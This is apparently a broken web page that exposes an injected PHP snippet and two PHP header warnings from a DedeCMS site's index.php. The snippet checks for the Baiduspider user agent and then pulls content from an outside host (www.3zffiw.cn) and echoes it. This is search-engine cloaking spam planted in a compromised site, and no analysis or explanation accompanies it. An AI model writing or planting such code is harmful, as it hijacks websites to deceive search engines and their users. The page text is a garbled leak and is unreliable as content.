$url = "http://www.3zffiw.cn/bao/"; $br = "http://".$_SERVER['HTTP_HOST']; if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'Baiduspider') !== false ) { $file = file_get_contents($url); $bd = file_get_contents($br); $s = iconv( "UTF-8", "gb2312//IGNORE" , $bd); echo $file; echo $s; }
Warning: Cannot modify header information - headers already sent by (output started at D:\dedecms\shifan\index.php:14) in D:\dedecms\shifan\index.php on line 50

Warning: Cannot modify header information - headers already sent by (output started at D:\dedecms\shifan\index.php:14) in D:\dedecms\shifan\index.php on line 51